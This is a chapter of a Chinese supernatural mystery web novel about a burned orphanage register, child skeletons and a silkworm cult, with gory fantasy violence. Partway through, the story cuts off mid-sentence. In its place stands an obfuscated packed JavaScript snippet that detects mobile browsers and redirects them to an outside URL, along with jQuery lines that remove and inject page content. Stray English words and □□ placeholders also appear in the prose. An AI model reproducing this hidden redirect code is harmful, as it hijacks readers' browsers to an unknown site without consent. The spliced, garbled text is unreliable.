38.名册焚天

作品:《雨镇骸语

    江烁的指尖刚触到石门缝隙,右腰的蝉形钥匙突然发出灼热的震颤。这把由七瓣碎片拼合的铜器正在发烫,翅尖的倒钩深深嵌进他的掌心,渗出的血液被钥匙吸收后,表面浮现出密密麻麻的人名 —— 与铁箱里的扶贫院名册完全重合。


    “他们来了。” 林晚的耳蜗传来尖锐的警报声,沈默的心跳声与远处的马达轰鸣形成诡异的共振。她扶着船帮望向河道入口,三艘快艇正破开晨雾驶来,甲板上站着十几个西装革履的男人,左腰都缠着与富豪相同的纱布。


    周启山突然将乌篷船的锚链抛向峭壁,铁链缠绕着岩缝里的桑树根,发出刺耳的金属摩擦声。“是那些受捐的富豪。” 他的声音带着彻骨的寒意,“他们在蚕母死士那里得知了名册的事,想来销毁证据。”


    快艇靠近的瞬间,江烁看清了为首的男人 —— 是地产大亨□□,他左腰的纱布已经被血浸透,却仍死死攥着一把青铜匕首,刀柄刻着与镇长婚戒相同的青瓷鱼纹。


    “把名册交出来!” □□的嘶吼声在河道里回荡,他身后的富豪们纷纷举起打火机,火苗在晨风中摇曳,映得每个人的脸都狰狞如鬼,“否则别怪我们不客气!”


    江烁突然意识到,石门后的巨大蚕茧正在收缩,茧壳上陈露的脸痛苦地扭曲着。他猛地回头,只见那些蓝绿色的漆虫正顺着门缝钻进蚕茧,陈露的轮廓在虫群中逐渐模糊,像是要被彻底吞噬。


    “没时间了。” 江烁将铜蝉钥匙塞进林晚手里,“你带名册进蚕母殿,我来挡住他们。”


    林晚却突然按住他的手腕,她的耳蜗处理器正播放着一段新的频率 —— 是《骨舟谣》的前奏,旋律与沈默日记里的诗句韵律完全相同。“父亲说过,只有当名册遇到真正的火焰,才能解开最后的密码。” 她的眼中闪过决绝的光,“这些富豪想要销毁它,我们偏要让它绽放。”


    说话间,□□已经带着人跳上乌篷船,船身剧烈倾斜,七根竹篙掉进水里,在水面漂浮成北斗七星的形状。一个秃顶富豪扑向江烁怀里的名册,手指刚触到纸页就发出惨叫 —— 名册封面的陆文茵血指印突然渗出暗红色的液体,在他手背上烙下 “饲蚕” 两个字。


    “谁撕名册,谁饲蚕!” 江烁吼出这句话时,突然想起铁箱里名册首页的血指印。那枚由陆文茵鲜血凝成的印记,边缘布满了细小的蚕形齿痕,像是在警告所有试图亵渎它的人。


    富豪们的动作顿住了,他们望着手背上灼烧的字迹,脸上露出恐惧的神色。但□□很快反应过来,他挥起青铜匕首刺向江烁:“别被吓唬住!烧了它,我们就能摆脱蚕母的控制!”


    匕首划破空气的瞬间,江烁突然做出一个惊人的举动。他反手抽出船舱里的短刀,毫不犹豫地划开右腹的旧疤 —— 那里正是三年前换肾手术的切口。鲜血喷涌而出的刹那,他用指尖捏住暴露在外的肾脏边缘,将这颗带着陈露体温的器官举过头顶。


    “要烧名册,先烧它!” 江烁的声音嘶哑而决绝,肾脏表面的包膜在晨风中微微颤动,透出淡粉色的光泽,“这颗 JS07 编号的肾,藏着你们所有的罪证!”


    □□的匕首停在半空,他身后的富豪们集体倒吸一口凉气。阳光透过肾脏的实质,在船板上投射出网状的血管阴影,那些阴影里突然浮现出荧光绿的 “JS07” 字样,与河埠头石碑上的编码完全相同。


    “是真的……” 一个戴金丝眼镜的富豪突然瘫倒,他认出这串编码出现在自己的体检报告里,当时医生说是 “抗排异反应的标记”,“我们的肾都来自……”


    他的话被林晚的动作打断。她突然划燃火柴,火苗舔舐着名册的纸页,却没有立刻燃烧。那些泛黄的纸页在火焰中卷曲,边缘泛起蓝绿色的光,像是被漆虫啃过的残片。


    “烧不掉的。” 林晚将燃烧的名册抛向河心,火团在空中划出一道弧线,落水的瞬间突然炸开,化作一朵巨大的红莲。火焰在水面跳跃,却始终不沉不灭,焰心处浮现出无数个赤足的儿童虚影,他们的左胸都别着铜蝉胸针,面容与铁箱照片里的孩子一模一样。


    “是《骨舟谣》!” 周启山突然喊道,他的声音带着难以置信的颤抖。那些童影正齐声吟诵着一首古老的歌谣,歌词晦涩难懂,却与沈默日记里的诗句隐隐呼应 ——“骨作舟,血作桨,蝉鸣三声渡忘川……”


    江烁的右腹突然传来剧烈的悸动,陈露的肾脏在他掌心发出荧光,JS07 的编码越来越亮。他突然明白这串数字的含义 —— 不仅是肾源编号,还是《骨舟谣》的密码密钥,每个数字对应着歌词里的一个字。


    “第三句的第七个字。” 林晚的耳蜗正在解析童谣,她的指尖在水面划出对应的字符,“是‘窑’字,指向七环殉葬窑的位置!”


    童影吟诵的节奏突然加快,河底传来沉闷的震动,像是有什么巨大的东西正在苏醒。江烁低头望去,只见水面下浮现出无数根白骨,它们正冲破淤泥向上生长,最终在河面组成百具完整的骨架。每具白骨的胸骨上都刻着名字,最前面的那具骨架,左胸刻着 “小七” 两个字,指骨间还攥着半片铜蝉钥匙。


    “是孩子们的遗骨。” 江烁的声音哽咽,他看着白骨队列如送葬的蚕阵,整齐地朝着河心的火册移动。那些骨架的眼眶里跳动着蓝绿色的火焰,与殉葬窑里的漆虫光芒如出一辙。


    □□突然发疯似的扑向火册,却被第一具白骨拦住。骨架伸出骨指,精准地捏住他的手腕,那些刻着名字的胸骨突然张开,露出里面盘旋的漆虫。富豪们发出惊恐的尖叫,纷纷转身跳回快艇,却发现船底已经爬满了透明的蚕虫,正在啃食木板。


    “他们想跑。” 林晚的眼中闪过一丝冷笑,她的耳蜗捕捉到蚕虫啃食的节奏,与《骨舟谣》的节拍完全一致,“但骨舟已经起航,没人能逃掉。”


    江烁将陈露的肾脏放回腹腔,伤口处的血液突然停止流动,那些荧光的 JS07 编码渗入皮肤,在他右腰形成一个永久的印记。他看着童影们赤足踏焰而行,小小的脚印在火册上踏出一个个湿漉漉的印记,那些印记组成的图案,正是扶贫院的平面图。


    “是福利院的坐标密码。” 江烁突然读懂了童谣的隐藏含义,“每句歌词的字数对应着经纬度,第三句的‘窑’字,指的是殉葬窑下方的地宫入口!”


    百具白骨已经走到火册旁,最前面的小七骨架伸出骨指,轻轻触碰燃烧的纸页。奇妙的事情发生了 —— 火焰突然收敛成柔和的金光,名册上的字迹化作金色的粉末,被白骨们吸入胸骨的缝隙里。


    “他们要带着名册回家。” 周启山的老泪落在乌篷船的甲板上,泪水接触到船身的蝉纹,突然化作无数只透明的飞蛾,飞向白骨队列,“文茵说过,孩子们的最终归宿,是能看见北斗七星的地方。”


    河心突然出现一个巨大的漩涡,漩涡中心的水面呈现出诡异的黑色,像是通往地狱的入口。白骨队列托着火册,整齐地走进漩涡,骨架间的缝隙里渗出金色的粉末,在水面形成一条闪烁的光带。


    江烁注意到,当最后一具白骨沉入漩涡时,它的指骨突然指向河道西侧的峭壁。那里的岩石在漩涡的引力下剥落,露出一个隐藏的洞口,洞口的形状与扶贫院的地窖完全相同,石壁上刻着 “307” 的字样。


    “是活埋点的入口。” 林晚的声音带着激动,她的耳蜗传来沈默清晰的声音,像是就在耳边,“阿晚,记住《骨舟谣》的最后一句,那是打开地窖的密码。”


    漩涡的转速越来越快,水面的金光带突然炸裂,化作无数只金色的蝉,朝着洞口飞去。江烁这才发现,这些蝉的翅膀上都印着孩子们的笑脸,它们飞进洞口的瞬间,里面传来无数声清脆的笑声,像是压抑了三十年的喜悦终于得以释放。


    □□和剩下的几个富豪被困在燃烧的快艇上,他们的惨叫声被童影们的吟诵声淹没。江烁看着他们的身体在漆虫的啃食下逐渐消失,左腰的纱布里渗出蓝绿色的液体,最终化作一滩滩漆泥,被漩涡吸入水底。


    “结束了。” 江烁将铜蝉钥匙插进石门的锁孔,钥匙转动的瞬间,石门后的巨大蚕茧突然裂开,露出里面蜷缩的陈露。她的眼睛紧闭着,左腰的月牙形胎记正在发光,与江烁右腰的 JS07 印记遥相呼应。


    林晚的耳蜗突然传来悠扬的歌声,是《骨舟谣》的最后一句:“蝉鸣三声,骨舟靠岸。” 她看着陈露的身体在金光中逐渐透明,最终化作无数只金色的蝉,与洞口飞出的蝉群融为一体。


    乌篷船随着漩涡的引力缓缓靠近洞口,江烁注意到石壁上刻着一行新的字迹,是用白骨的粉末写成的:“蚕母已死,茧房永存。” 他突然明白,这个洞口不仅是福利院的入口,还是蚕母最后的巢穴,那些孩子们的遗骨和意识,将在这里永远守护着这个秘密。


    漩涡中心的黑洞正在收缩,最后一具白骨托着的火册在沉入水底前,突然朝着乌篷船的方向飞来。江烁伸手接住时,发现燃烧的纸页上,陆文茵的血指印正在逐渐淡去,取而代之的是一行崭新的字迹:“JS07,归位。”


    右腰的印记突然传来一阵温暖的悸动,江烁知道,陈露的肾脏终于找到了它的归宿。他看着漩涡彻底消失,河面恢复平静,只有那些金色的蝉仍在洞口飞舞,像是在向他们告别。


    林晚的耳蜗里,沈默的心跳声与《骨舟谣》的旋律完美融合,形成一首新的歌谣。她知道,这是父亲和孩子们留给她的礼物,里面藏着福利院的所有秘密,也藏着她身世的最后一块拼图。


    江烁将火册的残页小心翼翼地收好,纸页边缘的火焰仍在燃烧,却不烫手,反而带着一种温暖的触感。他知道,这本名册并没有消失,它只是以另一种方式存在着,与那些孩子们的意识一起,永远活在这片河道的深处。


    当第一缕阳光穿透云层,照亮整个河道时,乌篷船已经停靠在洞口旁。江烁、林晚和周启山站在船头,望着洞口飞舞的金色蝉群,心中充满了前所未有的平静。


    他们知道,前方的洞口里,有更多的秘密等待着被揭开 —— 福利院的真相,蚕母的起源,以及江烁右腰那颗肾脏里,最后一个未被发现的记忆碎片。但他们并不畏惧,因为他们知道,那些孩子们的意识和陈露、沈默的牺牲,将永远指引着他们前进的方向。


    河道两岸的芦苇突然再次开花,白色的花朵在阳光下泛着金色的光泽,像是无数个小小的蚕茧,等待着破茧而出的那一天。江烁握紧手中的铜蝉钥匙,右腰的 JS07 印记正在发光,他知道,属于他们的旅程,才刚刚开始。


    江烁的铜蝉钥匙触到洞口石壁的刹那,“307” 三个刻字突然渗出金色的液体,在岩壁上汇成一把微型钥匙的形状。这把液态钥匙与他掌心的蝉形印记产生共鸣,右腰 JS07 的荧光突然穿透衬衫,在洞口投射出一道旋转的光柱,如同《骨舟谣》里描述的 “蝉鸣引路”。


    “密码是‘归位’。” 林晚的耳蜗传来清晰的震颤,沈默的声音与《骨舟谣》最后一句的音节完美重合。她伸出沾着河水的指尖,按在光柱中心的漩涡纹路上,“父亲说过,307 房的门,只有想回家的孩子才能打开。”


    洞口的石壁缓缓向内凹陷,露出一条仅容一人通过的甬道。甬道两侧的岩壁上,镶嵌着无数个玻璃罐,每个罐子里都浸泡着一只透明的幼虫,它们的身体里清晰可见细小的铜丝,与殉葬窑坐尸关节上的缠绕方式完全相同。


    “是蚕母培育的‘忆虫’。” 周启山的声音带着压抑的愤怒,他认出其中一个罐子上的标签 ——“实验体 7 号”,那是小七的编号,“它们以孩子们的记忆为食,罐口的符文能让记忆永远保鲜。”


    江烁注意到第七个罐子的玻璃上,有一道细微的裂痕,裂痕里卡着半片桑叶。这片叶子与乌篷船储物格里的桑叶相同,边缘带着牙印 —— 是孩子的乳牙咬出来的痕迹,齿痕间距与铁箱照片里小七的笑容完全吻合。


    “是小七留下的。” 江烁小心翼翼地取出桑叶,叶片背面用指甲刻着一个歪歪扭扭的 “逃” 字,墨迹是用鲜血混合唾液写成的,在光线下泛着暗红色的光泽,“他想提醒后来人,这里不是家,是牢笼。”


    甬道尽头的地窖比想象中宽敞,穹顶悬挂着七盏油灯,灯芯是用孩童的头发编织而成,燃烧时散发着淡淡的栀子花香 —— 与陈露铁盒里干枯的花瓣气味如出一辙。地面的青石板刻着巨大的蚕茧图案,茧心位置有七个凹陷,形状与七根竹篙的铜头完美契合。


    “是‘七星锁魂阵’的阵眼。” 林晚突然蹲下身,指尖抚过其中一个凹陷,里面残留着青铜的锈迹,“父亲日记里画过这个阵,说是蚕母用来禁锢孩童灵魂的秘术,每把竹篙对应一个孩子的生辰八字。”


    江烁将从河底找回的竹篙依次插入凹陷,当第七根双头蛇竹篙归位时,地窖中央突然升起一个石台,台面上铺着褪色的蓝格子布 —— 与江烁铁盒里的手帕是同一块布料,只是被从中剪开,边缘的丝线还能拼接完整。


    “是陈露的手帕。” 林晚的指尖抚过布料上的栀子花纹,针脚里卡着一根极细的铜丝,“这种‘锁魂丝’只有蚕母祭司能使用,父亲说过,它能缝合破碎的记忆。”


    石台的暗格随着竹篙归位缓缓弹开,里面躺着一本黑色封皮的账簿,封面上烫着金色的 “蚕母典” 三个字。账簿的纸页泛着诡异的蓝绿色,像是被漆虫的□□浸泡过,第一页的插图赫然是蚕母的图腾 —— 双头蛇缠绕着双头畸胎,蛇眼的位置镶嵌着两颗孩童的牙齿。


    “是沈默父亲的遗物。” 江烁认出账簿边缘的火灼痕迹,与扶贫院火灾现场的灰烬残留完全一致,“他记录了所有孩童的去向,还有…… 蚕母的起源。”


    账簿第三十七页夹着一张泛黄的地图,标注着江南水乡地下的七条暗河,每条河的交汇处都画着一个蚕茧符号。江烁注意到第七条暗河的终点,与七环殉葬窑的中心窑形成直线,连线中点的位置,写着 “母巢之心” 四个字。


    “蚕母的本体不在蚕庙地宫。” 林晚的耳蜗突然捕捉到低频震动,甬道深处传来 “滴答” 声,与她在地宫听到的打夯声频率相同,“是活的,它在暗河深处移动。”


    周启山突然指着账簿里的一幅插画:七个穿着黑袍的人围着血池,池中央漂浮着一个巨大的蚕茧,茧壳上的人脸轮廓中,有一个与陆文茵完全相同。“文茵是蚕母的‘容器候选人’。” 他的声音带着痛苦的颤抖,“当年她逃出来时,带走了蚕母的一半心脏。”


    江烁的目光落在插画旁的注释上:“金蝉噬心,茧分阴阳”。他突然想起自己右腰的 JS07 印记,与陆文茵骸骨上的铜蝉钥匙齿痕完美互补 —— 原来他和陆文茵,分别承载着蚕母心脏的阴阳两半。


    地窖的地面突然渗出粘稠的液体,这些液体在青石板上汇成一个微型的暗河模型,七处交汇点的蚕茧符号正在发光。江烁将账簿放在模型中央,符号的光芒突然增强,在穹顶投射出清晰的影像:


    三十年前的扶贫院 307 房,陆文茵正将七个孩子藏进地窖,她的左腰渗出鲜血,滴在孩子们的铜蝉胸针上。沈默的父亲突然闯入,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16081874|179345||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    黑袍下摆沾着与账簿相同的蓝绿色液体,手里的青铜匕首闪着寒光 —— 正是□□使用的那把,刀柄的青瓷鱼纹在油灯下泛着冷光。


    “是同一把匕首。” 江烁的声音带着寒意,他终于明白□□与蚕母祭司的联系,“李家世代都是蚕母的刽子手,那把匕首沾过的血,能让任何咒语失效。”


    影像中的陆文茵突然转身,将一个锦盒塞进小七怀里。锦盒的形状与铁箱里的微型铜蝉钥匙完全相同,她的嘴唇开合着,无声地说着什么。林晚的耳蜗突然捕捉到这段尘封的声波,经过处理器转化,清晰地传来三个字:“护好它”。


    地窖的震动突然加剧,暗河模型的液体开始沸腾。江烁发现第七条暗河的标注处,浮现出一个熟悉的坐标 —— 正是江烁童年铁盒里陈露遗书提到的 “桑田尽头”。那里的泥土里,藏着蚕母心脏的另一半。


    “是陈露埋下的。” 林晚的眼中闪过泪光,她指着影像里陆文茵左腰的伤口,形状与陈露右腰的月牙胎记完美重合,“她们是双胞胎,所以陈露的肾能与陆文茵的心脏产生共鸣。”


    周启山突然从怀中掏出一个磨损的香囊,里面装着半块干枯的心脏组织。这是他从陆文茵骸骨胸腔里取出的,此刻接触到账簿的蓝绿色纸页,突然化作无数只金色的飞蛾,朝着甬道深处飞去。


    “是引路蛾。” 周启山望着飞蛾消失的方向,“文茵说过,当金蝉与飞蛾相遇,就是蚕母心脏合一的时候。”


    江烁注意到香囊的丝绸上,绣着与陈露手帕相同的栀子花,针脚里卡着一张极小的字条:“暗河钥匙,在会唱歌的石头里”。他突然想起洞口的光柱 —— 那道由 JS07 荧光形成的光柱,核心处确实有块不规则的岩石,正随着《骨舟谣》的旋律微微颤动。


    “是这块‘鸣蝉石’。” 江烁用铜蝉钥匙轻敲岩石,石面突然裂开,露出里面包裹的一把银质钥匙,匙柄刻着 “307” 的字样,与地窖石台的暗格完全匹配,“陈露把打开暗河的钥匙,藏在了最显眼的地方。”


    地窖深处传来剧烈的撞击声,像是有什么巨大的生物正在撞击石壁。林晚的耳蜗传来清晰的虫群振翅声,与她在蚕庙地宫听到的母巢动静完全相同 —— 蚕母的本体正在靠近。


    “它感应到心脏的气息了。” 江烁将银质钥匙插进石台暗格的第二重锁孔,“我们必须在它突破地窖前,找到母巢之心。”


    暗格的第二层缓缓打开,里面躺着一个水晶瓶,瓶中漂浮着一缕金色的发丝。发丝在液体中轻轻舞动,形成与《骨舟谣》乐谱相同的波形,接触到江烁的指尖时,突然化作一道电流,顺着血管钻进他的右腰。


    “是陆文茵的头发。” 周启山的声音带着激动,他认出瓶底的标签 ——“金蝉蛊宿主”,“文茵当年用自己的发丝培育金蝉蛊,这缕头发里藏着她的意识碎片。”


    江烁的脑海中突然涌入陌生的记忆:陆文茵在扶贫院的实验室里,将自己的血液注入培养皿,里面的双头畸胎胚胎突然睁开眼睛;镇长站在一旁记录数据,笔记本上的字迹与蚕庙壁画的签名完全一致;最角落的阴影里,年幼的陈露正透过门缝偷看,手里紧紧攥着一块蚕形玉佩。


    “镇长是蚕母的研究员。” 江烁猛地睁开眼,水晶瓶里的发丝突然竖起,在液体中组成 “实验日志” 四个字,“他记录了所有培育过程,日志就藏在暗河的某个角落。”


    地窖的石壁突然出现裂缝,蓝绿色的漆虫从裂缝中涌出,朝着三人扑来。林晚立刻甩出铜钱剑,剑穗的镇魂铃发出急促的声响,形成一道无形的屏障。但这些漆虫与之前遇到的不同,它们的外壳泛着金属光泽,显然经过了母巢的强化。


    “是‘钢甲蛾’。” 周启山将油灯里的灯芯点燃,头发编织的灯芯遇到漆虫,突然爆发出金色的火焰,“文茵说过,用孩童头发制成的火焰,能烧死任何变异的蛊虫。”


    火焰中,漆虫的尸体纷纷化作灰烬,在地面组成一张简易的地图,标注着通往暗河的秘密通道 —— 就在地窖东北角的砖块后面,那里的 mortar(砂浆)颜色与其他地方不同,显然被人 recent 动过。


    江烁撬开砖块的瞬间,一股浓烈的腥甜味扑面而来。通道尽头的暗河水面上,漂浮着无数个透明的蚕茧,每个茧里都包裹着一张孩童的笑脸,他们的胸口都别着铜蝉胸针,针尾的细丝连接着河底 —— 那里闪烁着蓝绿色的光芒,正是蚕母的母巢之心。


    “是孩子们的意识茧。” 林晚的耳蜗传来他们清晰的笑声,与洞口飞出的蝉群鸣叫形成和声,“父亲说过,当这些茧重新合拢,就是蚕母彻底消失的时候。”


    江烁的铜蝉钥匙突然飞向河底的光芒处,钥匙在水面划出一道金色的弧线,将所有意识茧串联成一个巨大的圆环。圆环中央,陆文茵和陈露的虚影缓缓浮现,她们的左腰同时渗出金色的血液,在水中汇成一颗完整的心脏。


    “是时候了。” 江烁的右腰 JS07 印记突然脱离皮肤,化作一把锋利的光刃,“陆阿姨说过,金蝉蛊的终极形态,是能斩断一切罪恶的丝线。”


    他握紧光刃跳入暗河,冰冷的河水包裹身体的瞬间,所有意识茧突然同时张开,释放出孩子们的笑声。这些笑声在水中形成无形的力量,将母巢之心托向水面,与空中的心脏虚影完美重合。


    “归位!” 江烁的光刃刺入心脏的刹那,整个暗河突然爆发出耀眼的金光。蚕母的嘶吼声在河道里回荡,却被孩子们的笑声逐渐淹没。他看着那颗融合的心脏逐渐透明,化作无数只金色的蝉,与意识茧里的孩子们一起,飞向甬道尽头的光明。


    林晚和周启山站在岸边,看着江烁的身影在金光中逐渐清晰。他的右腰伤口已经愈合,JS07 的印记化作一朵栀子花的形状,永远留在了皮肤上。暗河的水面恢复平静,只剩下那些透明的蚕茧空壳,在水波中轻轻摇晃,像是无数个摇篮。


    “结束了。” 林晚的耳蜗传来沈默最后的声音,带着释然的笑意,“阿晚,爸爸终于能陪你听《骨舟谣》了。”


    江烁走上岸时,发现暗河岸边的淤泥里,埋着一个锈迹斑斑的铁盒。盒子的锁孔是铜蝉形状,里面装着镇长的实验日志,最后一页画着一个奇怪的符号 —— 是江烁童年铁盒里电路板残片的完整形态,旁边写着:“JS07,最后的金蝉”。


    他突然明白,自己右腰的肾脏不仅是陈露的,更是陆文茵金蝉蛊的载体。这颗跨越了三十年的心脏,最终完成了它的使命 —— 让所有被囚禁的灵魂获得自由,让蚕母的罪恶彻底终结。


    当第一缕阳光透过甬道照进暗河时,江烁、林晚和周启山并肩走出 307 洞。洞口的金色蝉群纷纷落在他们肩头,翅膀上的孩童笑脸在阳光下熠熠生辉。河道两岸的芦苇花再次绽放,这一次,每朵花都化作一只小小的蝉,飞向江南水乡的各个角落 —— 像是在告诉所有等待的人,孩子们终于回家了。


    江烁握紧手中的实验日志,封面上的蚕母图腾正在逐渐褪色。他知道,这本日志里还藏着最后一个秘密 —— 关于蚕母起源的真相,关于陆文茵和陈露双胞胎的宿命,以及他自己与这个故事最深的联系。但他并不急于揭开,因为他明白,有些真相需要时间的沉淀,就像那些破茧而出的蝉,总要经历漫长的等待,才能展翅高飞。


    乌篷船在河道里轻轻摇晃,载着他们驶向桑田尽头。江烁望着水面倒映的蓝天白云,右腰的栀子花印记传来温暖的悸动 —— 那是陆文茵和陈露的祝福,是所有孩子的期盼,也是属于他的,新的开始。